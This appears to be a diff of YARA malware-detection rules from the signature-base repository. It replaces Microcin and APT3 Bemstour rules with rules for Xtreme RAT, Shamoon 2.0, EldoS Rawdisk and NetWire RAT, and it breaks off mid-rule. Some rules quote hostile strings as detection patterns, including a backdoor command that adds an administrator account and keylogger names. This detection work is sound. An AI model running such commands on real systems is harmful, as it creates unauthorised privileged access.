 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "49816eefcd341d7a9c1715e1f89143862d4775ba4f9730397a1e8529f5f5e200"
-		hash2 = "a73f8f76a30ad5ab03dd503cc63de3a150e6ab75440c1060d75addceb4270f46"
-		hash3 = "9dd9bb13c2698159eb78a0ecb4e8692fd96ca4ecb50eef194fa7479cb65efb7c"
+		hash1 = "93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6"
 
 	strings:
-		$s1 = "e Class Descriptor at (" ascii
-		$s2 = ".?AVCAntiAntiAppleFrameRealClass@@" fullword ascii
-		$s3 = ".?AVCAntiAntiAppleFrameBaseClass@@" fullword ascii
-		$s4 = ".?AVCAppleBinRealClass@@" fullword ascii
-		$s5 = ".?AVCAppleBinBaseClass@@" fullword ascii
+		$x1 = "ServerKeyloggerU" fullword ascii
+		$x2 = "TServerKeylogger" fullword ascii
+		$x3 = "XtremeKeylogger" fullword wide
+		$x4 = "XTREMEBINDER" fullword wide
+		$s1 = "shellexecute=" fullword wide
+		$s2 = "[Execute]" fullword wide
+		$s3 = ";open=RECYCLER\\S-1-5-21-1482476501-3352491937-682996330-1013\\" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and (4 of them or pe.imphash()=="897077ca318eaf629cfe74569f10e023"))
+		uint16(0)==0x5a4d and filesize <4000KB and (pe.imphash()=="735af2a144f62c50ba8e89c1c59764eb" or (1 of ($x*) or 3 of them ))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Microcin_Sample_2 : FILE
+rule SIGNATURE_BASE_Xtreme_Sep17_2 : FILE
 {
 	meta:
-		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+		description = "Detects XTREME sample analyzed in September 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8718ef84-be2b-55a6-a4bb-41161548a2b4"
-		date = "2017-09-26"
+		id = "b4878e80-54dc-5a16-9129-ddf2b1a5d287"
+		date = "2017-09-27"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_microcin.yar#L38-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "99feb3e1672f69c4cf41a100e9ba64421fd75c3554306a1bf1475da6f1e14ed1"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xtreme_rat.yar#L39-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb86167e0267d52b1b7503abd8f5b988296e3cde12453ace529c4e043d2ca69e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8a7d04229722539f2480270851184d75b26c375a77b468d8cbad6dbdb0c99271"
+		hash1 = "f8413827c52a5b073bdff657d6a277fdbfda29d909b4247982f6973424fa2dcc"
 
 	strings:
-		$s2 = "[Pause]" fullword ascii
-		$s7 = "IconCache_%02d%02d%02d%02d%02d" fullword ascii
+		$s1 = "Spy24.exe" fullword wide
+		$s2 = "Remote Service Application" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x5a4d and filesize <3000KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Microcin_Sample_3 : FILE
+rule SIGNATURE_BASE_Xtreme_Sep17_3 : FILE
 {
 	meta:
-		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+		description = "Detects XTREME sample analyzed in September 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "daecdfe3-e78c-55ee-83a3-3cee8cb9bb5f"
-		date = "2017-09-26"
+		id = "160673ea-b263-520a-a1c1-da0f3e920f12"
+		date = "2017-09-27"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_microcin.yar#L54-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf1227460f1fc4a7bede853b0d4f15b520db870ac7ce2e6684dc195ea6322e82"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xtreme_rat.yar#L55-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c110863028ab1f557270e52de608179ce582a47e0a20994f83d385ed285bda9a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4f74a3b67c5ed6f38f08786f1601214412249fe128f12c51525135710d681e1d"
+		hash1 = "f540a4cac716438da0c1c7b31661abf35136ea69b963e8f16846b96f8fd63dde"
 
 	strings:
-		$x1 = "C:\\Users\\Lenovo\\Desktop\\test\\Release\\test.pdb" fullword ascii
-		$s2 = "test, Version 1.0" fullword wide
+		$s2 = "Keylogg" fullword ascii
+		$s4 = "XTREME" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x5a4d and filesize <700KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Microcin_Sample_4 : FILE
+rule SIGNATURE_BASE_Xtreme_RAT_Gen_Imp : FILE
 {
 	meta:
-		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+		description = "Detects XTREME sample analyzed in September 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8a6a0735-422a-5e91-9274-ce55f7bee5d3"
-		date = "2017-09-26"
+		id = "10b23099-2a87-5918-927b-f20bcba1cd70"
+		date = "2017-09-27"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_microcin.yar#L70-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1293fbd1a6b440168bb1d7b250df0c8a1a7f99a7fb603a6abec7fe7ba20cf4f5"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xtreme_rat.yar#L71-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9cfd6473e7f8d1f899fe2cdbb49a4086ea7ac6151602d0964ed28b16d2d0188d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "92c01d5af922bdaacb6b0b2dfbe29e5cc58c45cbee5133932a499561dab616b8"
+		hash1 = "7b5082bcc8487bb65c38e34c192c2a891e7bb86ba97281352b0837debee6f1cf"
+
+	condition:
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="d0bdf112886f3d846cc7780967d8efb9" or pe.imphash()=="cc6f630f214cf890e63e899d8ebabba6" or pe.imphash()=="e0f7991d50ceee521d7190effa3c494e")
+}
+rule SIGNATURE_BASE_SUSP_Microsoft_7Z_SFX_Combo : FILE
+{
+	meta:
+		description = "Detects a suspicious file that has a Microsoft copyright and is a 7z SFX"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9163a689-c3ee-59b1-bf58-aef5d3072be6"
+		date = "2018-09-16"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_sfx_with_microsoft_copyright.yar#L1-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f48887e0c1031d180e25f2d1b9e016d434f594aef283ab3af8418e86496d2eac"
+		score = 65
+		quality = 85
+		tags = "FILE"
+		hash1 = "cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1"
 
 	strings:
-		$s1 = "cmd /c dir /a /s \"%s\" > \"%s\"" fullword wide
-		$s2 = "ini.dat" fullword wide
-		$s3 = "winupdata" fullword wide
-		$f1 = "%s\\(%08x%08x)%s" fullword wide
-		$f2 = "%s\\d%08x\\d%08x.db" fullword wide
-		$f3 = "%s\\u%08x\\u%08x.db" fullword wide
-		$f4 = "%s\\h%08x\\h%08x.db" fullword wide
+		$s1 = "7ZSfx%03x.cmd" fullword wide
+		$s2 = "7z SFX: error" fullword ascii
+		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
+              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
+              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
+              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
+              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
+              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
+              00 76 00 65 00 64 00 2E }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of ($s*) or 5 of them )
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of ($s*) and $c1
 }
-import "pe"
-
-rule SIGNATURE_BASE_Microcin_Sample_5 : FILE
+rule SIGNATURE_BASE_SUSP_Microsoft_RAR_SFX_Combo : FILE
 {
 	meta:
-		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+		description = "Detects a suspicious file that has a Microsoft copyright and is a RAR SFX"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd06f9f7-0ba3-52c9-a814-be1cd53e2e42"
-		date = "2017-09-26"
+		id = "0fa81a9e-2f41-5783-9786-bb6d33b82bd9"
+		date = "2018-09-16"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_microcin.yar#L92-L110"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "18b9b80ad3c27f32c71197f33e5e99742662cf5cf4ed5f83d574d44ba63f8b5f"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_sfx_with_microsoft_copyright.yar#L27-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a0f29fcf86139a6f95b4ab0095154bd26b555f1576b5a2e263c1939bc30e3431"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b9c51397e79d5a5fd37647bc4e4ee63018ac3ab9d050b02190403eb717b1366e"
 
 	strings:
-		$x1 = "Sorry, you are not fortuante ^_^, Please try other password dictionary " fullword ascii
-		$x2 = "DomCrack <IP> <UserName> <Password_Dic file path> <option>" fullword ascii
-		$x3 = "The password is \"%s\"         Time: %d(s)" fullword ascii
-		$x4 = "The password is \" %s \"         Time: %d(s)" fullword ascii
-		$x5 = "No password found!" fullword ascii
-		$x7 = "Can not found the Password Dictoonary file! " fullword ascii
+		$s1 = "winrarsfxmappingfile.tmp" fullword wide
+		$s2 = "WinRAR self-extracting archive" fullword wide
+		$s3 = "WINRAR.SFX" fullword
+		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
+              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
+              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
+              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
+              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
+              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
+              00 76 00 65 00 64 00 2E }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them ) or 2 of them
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of ($s*) and $c1
 }
-import "pe"
-
-rule SIGNATURE_BASE_Microcin_Sample_6 : FILE
+rule SIGNATURE_BASE_Shamoon2_Wiper : FILE
 {
 	meta:
-		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+		description = "Detects Shamoon 2.0 Wiper Component"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9988723f-a7ca-598f-9a6c-9f3915732117"
-		date = "2017-09-26"
+		id = "6660a64c-daa4-59e6-aa65-55194cac600c"
+		date = "2016-12-01"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_microcin.yar#L112-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "280fb17b5ed5ff1c8018e426969f75e18589eabeb2a20e0e623f206e72e8958d"
-		score = 75
+		reference = "https://goo.gl/jKIfGB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shamoon2.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "245b03d9606f2e391f53a60aa333c6b037aa1f013794d83b761813d54782b885"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cbd43e70dc55e94140099722d7b91b07a3997722d4a539ecc4015f37ea14a26e"
-		hash2 = "871ab24fd6ae15783dd9df5010d794b6121c4316b11f30a55f23ba37eef4b87a"
+		hash1 = "c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a"
+		hash2 = "128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd"
 
 	strings:
-		$s1 = "** ERROR ** %s: %s" fullword ascii
-		$s2 = "TEMPDATA" fullword wide
-		$s3 = "Bruntime error " fullword wide
+		$a1 = "\\??\\%s\\System32\\%s.exe" fullword wide
+		$x1 = "IWHBWWHVCIDBRAFUASIIWURRTWRTIBIVJDGWTRRREFDEAEBIAEBJGGCSVUHGVJUHADIEWAFGWADRUWDTJBHTSITDVVBCIDCWHRHVTDVCDESTHWSUAEHGTWTJWFIRTBRB" wide
+		$s1 = "UFWYNYNTS" fullword wide
+		$s2 = "\\\\?\\ElRawDisk" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and all of them )
+		( uint16(0)==0x5a4d and filesize <1000KB and 2 of them ) or (3 of them )
 }
-rule SIGNATURE_BASE_Apt3_Bemstour_Strings : FILE
+rule SIGNATURE_BASE_Shamoon2_Comcomp : FILE
 {
 	meta:
-		description = "Detects strings used by the Bemstour exploitation tool"
-		author = "Mark Lechtik"
-		id = "8b76e10a-040f-505e-9dff-cd0a689b121e"
-		date = "2019-06-25"
-		modified = "2023-12-04"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt3_bemstour.yar#L1-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
-		logic_hash = "8aa7491b1dc3595f67ae1229d33f79261616b0f27485b7a27705db63a6111c07"
-		score = 75
-		quality = 60
+		description = "Detects Shamoon 2.0 Communication Components"
+		author = "Florian Roth (Nextron Systems) (with Binar.ly)"
+		id = "72068264-4f71-59fb-b3d8-938285ec8c7f"
+		date = "2016-12-01"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/jKIfGB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shamoon2.yar#L30-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "edebdbcf17bd9fadc67c7d76839cf569f0ea20127d4e0d216411c35e9ba54208"
+		score = 70
+		quality = 85
 		tags = "FILE"
-		company = "Check Point Software Technologies LTD."
+		hash1 = "61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842"
 
 	strings:
-		$dbg_print_1 = "leaked address is 0x%llx" ascii wide
-		$dbg_print_2 = "========== %s ==========" ascii wide
-		$dbg_print_3 = "detailVersion:%d" ascii wide
-		$dbg_print_4 = "create pipe twice failed" ascii wide
-		$dbg_print_5 = "WSAStartup function failed with error: %d" ascii wide
-		$dbg_print_6 = "can't open input file." ascii wide
-		$dbg_print_7 = "Allocate Buffer Failed." ascii wide
-		$dbg_print_8 = "Connect to target failed." ascii wide
-		$dbg_print_9 = "connect successful." ascii wide
-		$dbg_print_10 = "not supported Platform" ascii wide
-		$dbg_print_11 = "Wait several seconds." ascii wide
-		$dbg_print_12 = "not set where to write ListEntry ." ascii wide
-		$dbg_print_13 = "backdoor not installed." ascii wide
-		$dbg_print_14 = "REConnect to target failed." ascii wide
-		$dbg_print_15 = "Construct TreeConnectAndX Request Failed." ascii wide
-		$dbg_print_16 = "Construct NTCreateAndXRequest  Failed." ascii wide
-		$dbg_print_17 = "Construct Trans2  Failed." ascii wide
-		$dbg_print_18 = "Construct ConsWXR  Failed." ascii wide
-		$dbg_print_19 = "Construct ConsTransSecondary  Failed." ascii wide
-		$dbg_print_20 = "if you don't want to input password , use server2003 version.." ascii wide
-		$cmdline_1 = "Command format  %s TargetIp domainname username password 2" ascii wide
-		$cmdline_2 = "Command format  %s TargetIp domainname username password 1" ascii wide
-		$cmdline_3 = "cmd.exe /c net user test test /add && cmd.exe /c net localgroup administrators test /add" ascii wide
-		$cmdline_4 = "hello.exe  \"C:\\WINDOWS\\DEBUG\\test.exe\"" ascii wide
-		$cmdline_5 = "parameter not right" ascii wide
-		$smb_param_1 = "browser" ascii wide
-		$smb_param_2 = "spoolss" ascii wide
-		$smb_param_3 = "srvsvc" ascii wide
-		$smb_param_4 = "\\PIPE\\LANMAN" ascii wide
-		$smb_param_5 = "Werttys for Workgroups 3.1a" ascii wide
-		$smb_param_6 = "PC NETWORK PROGRAM 1.0" ascii wide
-		$smb_param_7 = "LANMAN1.0" ascii wide
-		$smb_param_8 = "LM1.2X002" ascii wide
-		$smb_param_9 = "LANMAN2.1" ascii wide
-		$smb_param_10 = "NT LM 0.12" ascii wide
-		$smb_param_12 = "WORKGROUP" ascii wide
-		$smb_param_13 = "Windows Server 2003 3790 Service Pack 2" ascii wide
-		$smb_param_14 = "Windows Server 2003 5.2" ascii wide
-		$smb_param_15 = "Windows 2002 Service Pack 2 2600" ascii wide
-		$smb_param_16 = "Windows 2002 5.1" ascii wide
-		$smb_param_17 = "PC NETWORK PROGRAM 1.0" ascii wide
-		$smb_param_18 = "Windows 2002 5.1" ascii wide
-		$smb_param_19 = "Windows for Workgroups 3.1a" ascii wide
-		$unique_str_1 = "WIN-NGJ7GKNROVS"
-		$unique_str_2 = "XD-A31C2E0087B2"
+		$s1 = "mkdir %s%s > nul 2>&1" fullword ascii
+		$s2 = "p[%s%s%d.%s" fullword ascii
+		$op1 = { 04 32 cb 88 04 37 88 4c 37 01 88 54 37 02 83 c6 }
+		$op2 = { c8 02 d2 c0 e9 06 02 d2 24 3f 02 d1 88 45 fb 8d }
+		$op3 = { 0c 3b 40 8d 4e 01 47 3b c1 7c d8 83 fe 03 7d 1c }
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($dbg_print*) or 2 of ($cmdline*) or 1 of ($unique_str*)) and 3 of ($smb_param*)
+		uint16(0)==0x5a4d and filesize <500KB and ( all of ($s*) or all of ($op*))
 }
-rule SIGNATURE_BASE_Apt3_Bemstour_Implant_Byte_Patch
+rule SIGNATURE_BASE_Eldos_Rawdisk : FILE
 {
 	meta:
-		description = "Detects an implant used by Bemstour exploitation tool (APT3)"
-		author = "Mark Lechtik"
-		id = "c30434c3-8949-566c-b6a6-29bffdaf961d"
-		date = "2019-06-25"
-		modified = "2023-12-04"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt3_bemstour.yar#L69-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
-		logic_hash = "08de2c885ccb24cb247efdcc06bbcbea144d652744b2d38aaa2aabfd341e4f91"
-		score = 75
+		description = "EldoS Rawdisk Device Driver (Commercial raw disk access driver - used in Operation Shamoon 2.0)"
+		author = "Florian Roth (Nextron Systems) (with Binar.ly)"
+		id = "8a43f425-86b7-5a05-b7c3-13c78aa905f8"
+		date = "2016-12-01"
+		modified = "2023-01-27"
+		reference = "https://goo.gl/jKIfGB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shamoon2.yar#L50-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ab09371b91ab6889f342c7992108ad374b5ecf67b6c2144a6282670f177d0f15"
+		score = 50
 		quality = 85
-		tags = ""
-		company = "Check Point Software Technologies LTD."
+		tags = "FILE"
+		hash1 = "47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34"
+		hash2 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
 
 	strings:
-		$chunk_1 = {
-
-C7 45 ?? 55 8B EC 83
-C7 45 ?? EC 74 53 56
-C7 45 ?? 8B 75 08 33
-C7 45 ?? C9 57 C7 45
-C7 45 ?? 8C 4C 6F 61
-
-}
+		$s1 = "g\\system32\\" wide
+		$s2 = "ztvttw" fullword wide
+		$s3 = "lwizvm" fullword ascii
+		$s4 = "FEJIKC" fullword ascii
+		$s5 = "INZQND" fullword ascii
+		$s6 = "IUTLOM" fullword wide
+		$s7 = "DKFKCK" fullword ascii
+		$op1 = { 94 35 77 73 03 40 eb e9 }
+		$op2 = { 80 7c 41 01 00 74 0a 3d }
+		$op3 = { 74 0a 3d 00 94 35 77 }
 
 	condition:
-		any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 4 of them )
 }
-rule SIGNATURE_BASE_Apt3_Bemstour_Implant_Command_Stack_Variable
+rule SIGNATURE_BASE_Susp_Indicators_EXE : FILE
 {
 	meta:
-		description = "Detecs an implant used by Bemstour exploitation tool (APT3)"
-		author = "Mark Lechtik"
-		id = "c773da5a-2d3f-5a0a-af2e-28ad382622b3"
-		date = "2019-06-25"
-		modified = "2023-12-04"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt3_bemstour.yar#L107-L275"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
-		logic_hash = "36710db313a52db2a0c0af356e701d3a36e5597203e87fd7f8586d202738be33"
-		score = 75
+		description = "Detects packed NullSoft Inst EXE with characteristics of NetWire RAT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b4015c24-d18e-51eb-9854-8cc0e6dba4d0"
+		date = "2018-01-05"
+		modified = "2023-12-05"
+		reference = "https://pastebin.com/8qaiyPxs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_netwire_rat.yar#L11-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9cb66435b78893daa5583475b14f0df2a5e8612f3aaf5cb02160991ab4d57d1b"
+		score = 60
 		quality = 85
-		tags = ""
-		company = "Check Point Software Technologies LTD."
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6de7f0276afa633044c375c5c630740af51e29b6a6f17a64fbdd227c641727a4"
 
 	strings:
-		$chunk_1 = {
+		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion"
+		$s2 = "Error! Bad token or internal error" fullword ascii
+		$s3 = "CRYPTBASE" fullword ascii
+		$s4 = "UXTHEME" fullword ascii
+		$s5 = "PROPSYS" fullword ascii
+		$s6 = "APPHELP" fullword ascii
 
-C7 85 ?? ?? ?? ?? 63 6D 64 2E
-C7 85 ?? ?? ?? ?? 65 78 65 20
-C7 85 ?? ?? ?? ?? 2F 63 20 63
-C7 85 ?? ?? ?? ?? 6F 70 79 20
-C7 85 ?? ?? ?? ?? 25 77 69 6E
-C7 85 ?? ?? ?? ?? 64 69 72 25
-C7 85 ?? ?? ?? ?? 5C 73 79 73
-C7 85 ?? ?? ?? ?? 74 65 6D 33
-C7 85 ?? ?? ?? ?? 32 5C 63 6D
-C7 85 ?? ?? ?? ?? 64 2E 65 78
-C7 85 ?? ?? ?? ?? 65 20 25 77
-C7 85 ?? ?? ?? ?? 69 6E 64 69
-C7 85 ?? ?? ?? ?? 72 25 5C 73
-C7 85 ?? ?? ?? ?? 79 73 74 65
-C7 85 ?? ?? ?? ?? 6D 33 32 5C
-C7 85 ?? ?? ?? ?? 73 65 74 68
-C7 85 ?? ?? ?? ?? 63 2E 65 78
-C7 85 ?? ?? ?? ?? 65 20 2F 79
-83 A5 ?? ?? ?? ?? 00
+	condition:
+		uint16(0)==0x5A4D and uint32( uint32(0x3c))==0x4550 and filesize <700KB and all of them
 }
-		$chunk_2 = {
+rule SIGNATURE_BASE_Suspicious_BAT_Strings : FILE
+{
+	meta:
+		description = "Detects a string also used in Netwire RAT auxilliary"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5fe28555-96c8-54da-b047-7d0a7532a6d2"
+		date = "2018-01-05"
+		modified = "2023-12-05"
+		reference = "https://pastebin.com/8qaiyPxs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_netwire_rat.yar#L32-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e643a5ef41d084e1b1a20be2c56328b72fedddbbce3c79d1e93cc8cfaa633e12"
+		score = 60
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-C7 85 ?? ?? ?? ?? 63 6D 64 20
-C7 85 ?? ?? ?? ?? 2F 63 20 22
-C7 85 ?? ?? ?? ?? 6E 65 74 20
-C7 85 ?? ?? ?? ?? 75 73 65 72
-C7 85 ?? ?? ?? ?? 20 63 65 73
-C7 85 ?? ?? ?? ?? 73 75 70 70
-C7 85 ?? ?? ?? ?? 6F 72 74 20
-C7 85 ?? ?? ?? ?? 31 71 61 7A
-C7 85 ?? ?? ?? ?? 23 45 44 43
-C7 85 ?? ?? ?? ?? 20 2F 61 64
-C7 85 ?? ?? ?? ?? 64 20 26 26
-C7 85 ?? ?? ?? ?? 20 6E 65 74
-C7 85 ?? ?? ?? ?? 20 6C 6F 63
-C7 85 ?? ?? ?? ?? 61 6C 67 72
-C7 85 ?? ?? ?? ?? 6F 75 70 20
-C7 85 ?? ?? ?? ?? 61 64 6D 69
-C7 85 ?? ?? ?? ?? 6E 69 73 74
-C7 85 ?? ?? ?? ?? 72 61 74 6F
-C7 85 ?? ?? ?? ?? 72 73 20 63
-C7 85 ?? ?? ?? ?? 65 73 73 75
-C7 85 ?? ?? ?? ?? 70 70 6F 72
-C7 85 ?? ?? ?? ?? 74 20 2F 61
-C7 85 ?? ?? ?? ?? 64 64 22 00
-6A 5C
+	strings:
+		$s1 = "ping 192.0.2.2 -n 1" ascii
 
+	condition:
+		filesize <600KB and 1 of them
 }
-		$chunk_3 = {
+rule SIGNATURE_BASE_Malicious_BAT_Strings : FILE
+{
+	meta:
+		description = "Detects a string also used in Netwire RAT auxilliary"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6e197d05-62eb-535d-8cd6-db8550e51588"
